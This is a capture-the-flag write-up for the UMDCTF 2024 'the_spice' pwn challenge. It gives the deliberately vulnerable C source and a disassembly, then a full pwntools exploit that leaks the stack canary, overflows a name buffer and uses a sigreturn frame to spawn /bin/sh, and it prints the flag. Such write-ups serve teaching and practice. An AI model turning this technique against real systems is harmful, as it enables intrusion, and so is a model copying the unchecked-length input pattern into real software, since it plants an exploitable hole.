the_spice [UMDCTF 2024]
Challenge Description
House Harkonnen’s spice harvesters keep getting overrun by Atreides pwners. Help keep their riches secure using exotic techniques.
Intuition
For this challenge, we receive the source code. I will be attaching it below, in a code box. We can notice multiple interesting things:
- The prompt is printed with inline assembly, with a syscall (we could use it in ROP).
- There is a buffer overflow when inputting the buyer’s name (but we have stack canaries enabled).
- When checking the spice amount and buyer name with the
(3) View a buyer
option, the index can be out of bounds (arbitrary stack read). - We have a stack leak when picking the
(4) Deploy a hunter-seeker
option.
Sadly, there aren’t many good ROP gadgets available, which means we could try to SROP (since we have a syscall gadget). We need a way to control RAX for sigreturn. We notice the function spice_amount
should be moving data we control into RAX, so we could jump to it theoretically. Then we can just jump to the syscall and prepare a signal frame on the stack to execve.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define NUM_BUYERS 8
struct spice_buyer {
unsigned int spice_amount;
char name[20];
};
unsigned int spice_amount(struct spice_buyer buyer) {
/* TODO: convert to kilograms */
return buyer.spice_amount;
}
void prompt(void) {
char *prompt =
"Choose an option:\n"
"(1) Add a buyer\n"
"(2) Update a buyer's spice allocation\n"
"(3) View a buyer\n"
"(4) Deploy a hunter-seeker\n"
"(5) Sell the spice\n";
/* Never pass up an opportunity to practice your assembly skills! */
asm volatile(
"movq $1, %%rax\n "
"movq $1, %%rdi\n "
"movq %[s], %%rsi\n "
"movq %[len], %%rdx\n "
"syscall\n "
:
: [s] "r" (prompt),
[len] "r" (strlen(prompt))
: "rax", "rdi", "rsi", "rdx"
);
}
int main() {
int i, num, len, spice;
struct spice_buyer buyers[NUM_BUYERS];
char buf[16];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
memset(buyers, 0, sizeof(buyers));
srand(time(NULL));
spice = rand() % 100;
printf("House Harkonnen has finally taken control of Arrakis, and with it control of the crucial spice.\n");
printf("However, the Baron poured all of his funds into exterminating House Atreides.\n");
printf("Luckily, we sent some guys to drop the last of them into the desert, so that's all taken care of.\n");
printf("\n");
printf("For some reason our spice harvesters keep getting raided though?\n");
printf("As a result, spice production is lower than expected.\n");
printf("\n");
printf("Can you help the Baron distribute the %d tons of spice among his prospective buyers?\n", spice);
printf("\n");
while (727) {
prompt();
printf("> ");
fgets(buf, sizeof(buf), stdin);
num = atoi(buf);
switch (num) {
case 1:
printf("Enter the buyer index: ");
fgets(buf, sizeof(buf), stdin);
num = atoi(buf);
if (num < 0 || num >= NUM_BUYERS) {
printf("Invalid index!\n");
continue;
}
printf("How long is the buyer's name? ");
fgets(buf, sizeof(buf), stdin);
len = atoi(buf);
printf("Enter the buyer's name: ");
fgets(buyers[num].name, len, stdin);
buyers[num].name[strcspn(buyers[num].name, "\n")] = '\0';
break;
case 2:
printf("Enter the buyer index: ");
fgets(buf, sizeof(buf), stdin);
num = atoi(buf);
if (num < 0 || num >= NUM_BUYERS || strcmp(buyers[num].name, "") == 0) {
printf("Invalid index!\n");
continue;
}
printf("Enter the spice allocation (in tons) to this buyer: ");
fgets(buf, sizeof(buf), stdin);
buyers[num].spice_amount = atoi(buf);
break;
case 3:
printf("Enter the buyer index: ");
fgets(buf, sizeof(buf), stdin);
num = atoi(buf);
printf("Buyer %d: %s, allocated %u tons of spice\n", num, buyers[num].name, spice_amount(buyers[num]));
break;
case 4:
printf("Your hunter-seeker explodes next to its target; before it explodes, here's what it saw: %p\n", buyers);
break;
default:
for (i = 0; i < NUM_BUYERS; i++) {
spice -= spice_amount(buyers[i]);
}
if (spice < 0) {
printf("You oversold your spice resources. The Spacing Guild is extremely angry, and has revoked your shipping privileges.\n");
goto done;
} else if (spice == 0) {
printf("You sold all of the spice! The Baron wanted you to sell it slowly to inflate the price! He is extremely angry with you.\n");
goto done;
} else {
printf("You sold the spice, and have %d tons remaining. You live to see another day.\n", spice);
goto done;
}
}
}
done:
return spice <= 0;
}
Solution
Using the above interesting observation we can construct an exploit. Let’s see the steps:
- Collect free stack leak for later use.
- Leak cookie with arbitrary read from
case 3
. - Prepare signal frame and append at the end of the payload.
- Buffer overflow to jump to
spice_amount
and then the syscall gadget. Don’t forget to properly write the cookie back!
So the plan sounds all great and nice, but sadly it’s not that easy… After starting constructing the payload I realized that spice_amount
has a weird calling convention and it takes values from parameters on the stack (kinda like x86). It took me a few hours to properly debug and realize what it does (especially because Ghidra hates showing me the ACTUAL registers in the disassembly and not some label it made for me). In the end I still don’t know exactly what the disassembly does, but I noticed that it takes the value from 8 bytes above on the stack and puts it into RAX. BUT it doesn’t pop the parameters on the stack, which means that I somehow have to get rid of the parameters after the call returns, or the chain will be broken. I tried so many other ways of controlling RAX but nothing else seemed to work. So I thought maybe I could find a gadget that is viable and can pop the useless things. I found a pop rbp
that worked nicely. Here’s the disassembly for spice_amount
:
00000000004011e6 <spice_amount>:
4011e6: 55 push rbp
4011e7: 48 89 e5 mov rbp,rsp
4011ea: 48 83 ec 30 sub rsp,0x30
4011ee: 48 8b 45 10 mov rax,QWORD PTR [rbp+0x10]
4011f2: 48 8b 55 18 mov rdx,QWORD PTR [rbp+0x18]
4011f6: 48 89 45 d8 mov QWORD PTR [rbp-0x28],rax
4011fa: 48 89 55 e0 mov QWORD PTR [rbp-0x20],rdx
4011fe: 48 8b 45 20 mov rax,QWORD PTR [rbp+0x20]
401202: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax
401206: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
40120d: 00 00
40120f: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
401213: 31 c0 xor eax,eax
401215: 8b 45 d8 mov eax,DWORD PTR [rbp-0x28]
401218: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]
40121c: 64 48 2b 14 25 28 00 sub rdx,QWORD PTR fs:0x28
401223: 00 00
401225: 74 05 je 40122c <spice_amount+0x46>
401227: e8 34 fe ff ff call 401060 <__stack_chk_fail@plt>
40122c: c9 leave
40122d: c3 ret
What’s especially weird for me was that the function did not pop the arguments off the stack, which needed additional careful bypasses in my exploit. Here is the final exploit script, commented:
#!/usr/bin/env python3
from pwn import *
context.clear()
context.arch = "amd64"
spice_func = p64(0x004011e6)
syscall_gadget = 0x00401274
pop_rbp = 0x004011cd
#target = process("./the_spice")
target = remote("challs.umdctf.io", 31721)
# get the stack leak
target.sendlineafter(b"> ", b"4")
buf_leak = int(target.recvline().split()[-1].strip(), 16)
# leak cookie by viewing a buyer
target.sendlineafter(b"> ", b"3")
target.sendlineafter(b"Enter the buyer index: ", b"9") # leak cookie
cookie = target.recvline().split()
print(cookie)
cookie = p32(int(cookie[4])) + cookie[2][:-1]
if (len(cookie) > 8): # some weird magic I did for more reliability or something I think
cookie = cookie[:-1]
print(len(cookie), cookie, hex(u64(cookie)))
# we also have to insert /bin/sh somewhere
# I chose the first buyer, whose name should be at buf_leak + 4
target.sendlineafter(b"> ", b"1")
target.sendlineafter(b"Enter the buyer index: ", b"0")
target.sendlineafter(b"How long is the buyer's name? ", b"16")
target.sendlineafter(b"Enter the buyer's name: ", b"/bin/sh\x00")
# frame that will call execve(/bin/sh)
frame = SigreturnFrame()
frame.rax = 59 # syscall code for execve
frame.rdi = buf_leak + 4 # point to /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0
frame.rip = syscall_gadget
# Write cookie properly, prepare the arguments to spice_func and call sigreturn
payload = b"a" * 44 + cookie + b"b" * 8 + spice_func + p64(pop_rbp) + p64(15) + p64(syscall_gadget) + bytes(frame)
print("Payload len: ", len(payload))
target.sendlineafter(b"> ", b"1")
target.sendlineafter(b"Enter the buyer index: ", b"7")
target.sendlineafter(b"How long is the buyer's name? ", b"512")
target.sendlineafter(b"Enter the buyer's name: ", payload)
# Close shop
target.sendlineafter(b"> ", b"5")
# Lisan al Gaib or whatever the cool kids say these days
target.interactive()
Flag
UMDCTF{use_the_spice_to_see_into_the_srop_future}